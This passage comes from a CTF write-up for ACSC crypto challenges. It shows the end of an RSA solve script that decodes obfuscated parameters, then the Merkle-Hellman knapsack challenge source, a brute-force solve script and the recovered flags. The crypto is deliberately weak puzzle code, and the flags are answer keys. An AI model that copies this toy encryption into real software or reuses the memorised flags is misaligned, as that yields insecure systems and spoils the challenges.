enc = "MTE3LDk2LDk4LDEwNyw3LDQzLDIyMCwyMzMsMTI2LDEzMSwyMDEsMTUsMjQ0LDEwNSwyNTIsMTI1LDEwLDE2NiwyMTksMjMwLDI1MCw4MiwyMTEsMTAxLDE5NSwzOSwyNDAsMTU4LDE3NCw1OSwxMDMsMTUzLDEyMiwzNiw2NywxNzksMjI0LDEwOCw5LDg4LDE5MSw5MSwxNCwyMjQsMTkzLDUyLDE4MywyMTUsMTEsMjYsMzAsMTgzLDEzMywxNjEsMTY5LDkxLDQ4LDIyOSw5OSwxOTksMTY1LDEwMCwyMTgsMCwxNjUsNDEsNTUsMTE4LDIyNywyMzYsODAsMTE2LDEyMCwxMjUsMTAsMTIzLDEyNSwxMzEsMTA2LDEyOCwxNTQsMTMzLDU1LDUsNjMsMjM2LDY5LDI3LDIwMSwxMTgsMTgwLDc0LDIxMywxMzEsNDcsMjAwLDExNiw1Miw0OSwxMjAsODYsMTI0LDE3OCw5MiwyNDYsMTE5LDk4LDk1LDg2LDEwNCw2NCwzMCw1NCwyMCwxMDksMTMzLDE1NSwxMjIsMTEsODcsMTYsMjIzLDE2MiwxNjAsMjE1LDIwOSwxMzYsMjQ5LDIyMSwxMzYsMjMy"
pwd = "acscpass"

# === Parameter recovery ===

dec = base64.b64decode(enc).decode()
dec = dec.split(",")
dec = [int(i) for i in dec]
dec = dec[::-1]
dec = [i ^ j for i, j in zip(dec, cycle(list(pwd.encode())))]

dec, (s, k, j) = dec[:-3], dec[-3:]

print(f"{s = }, {k = }, {j = }")

# === RSA decryption ===

g = [
    0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7,
    0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577,
    0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9,
    0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3,
    0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbb,
    0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fd,
    0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699,
    0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229,
    0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5f,
    0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287,
]
h = [
    0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1,
    0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35,
    0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611,
    0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67,
    0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087,
    0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7,
    0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95,
    0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569,
    0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49,
    0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397,
]

t = 2 ** (2 ** s) + 1
l = g[j]
o = h[k]
r = l * o

print(f"p = {l}")
print(f"q = {o}")
print(f"e = {t}")

from sage_army_knife import RSAKnife

flag = bytes.fromhex(hex(RSAKnife(p=l, q=o, e=t).decrypt(int(bytes(dec[::-1]).hex(), 16)))[2:])
print(flag)

output

s = 3, k = 3, j = 6
p = 7902539523670688752[...]67702307821906957977
q = 1296873244383214937[...]10775613424383036007
e = 257
b'ACSC{warmup_challenge_so_easy}'

Merkle Hellman

By Stephen

We tired of RSA, try a new cryptosystem by merkle and hellman but we don’t know how to decrypt the ciphertext.

We need your help for decrypt the ciphertext to get back my flag.txt!

Attachments: merkle_hellman.tar.gz

195 solves, 50 points

This challenge implements a knapsack cryptosystem. We have access to the private key and can manually decrypt, or since input space is small with 128 different inputs we can calculate all mappings of ciphertext to plaintext.

Challenge chall.pypython
#!/usr/bin/env python3
import random
import binascii

def egcd(a, b):
	if a == 0:
		return (b, 0, 1)
	else:
		g, y, x = egcd(b % a, a)
		return (g, x - (b // a) * y, y)

def modinv(a, m):
	g, x, y = egcd(a, m)
	if g != 1:
		raise Exception('modular inverse does not exist')
	else:
		return x % m

def gcd(a, b):
	if a == 0:
		return b
	return gcd(b % a, a)

flag = open("flag.txt","rb").read()
# Generate superincreasing sequence
w = [random.randint(1,256)]
s = w[0]
for i in range(6):
	num = random.randint(s+1,s+256)
	w.append(num)
	s += num

# Generate private key
total = sum(w)
q = random.randint(total+1,total+256)
r = 0
while gcd(r,q) != 1:
	r = random.randint(100, q)

# Calculate public key
b = []
for i in w:
	b.append((i * r) % q)

# Encrypting
c = []
for f in flag:
	s = 0
	for i in range(7):
		if f & (64>>i):
			s += b[i]
	c.append(s)

print(f"Public Key = {b}")
print(f"Private Key = {w,q}")
print(f"Ciphertext = {c}")

# Output:
# Public Key = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
# Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)
# Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

Exploit codepython
pk = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
sk = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)
ct = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

dec = {}
for f in range(128):
    s = 0
    for i in range(7):
        if f & (64>>i):
            s += pk[i]
    dec[s] = f

flag = bytes([dec[i] for i in ct])
print(flag)

output

b'ACSC{E4zY_P3@zy}'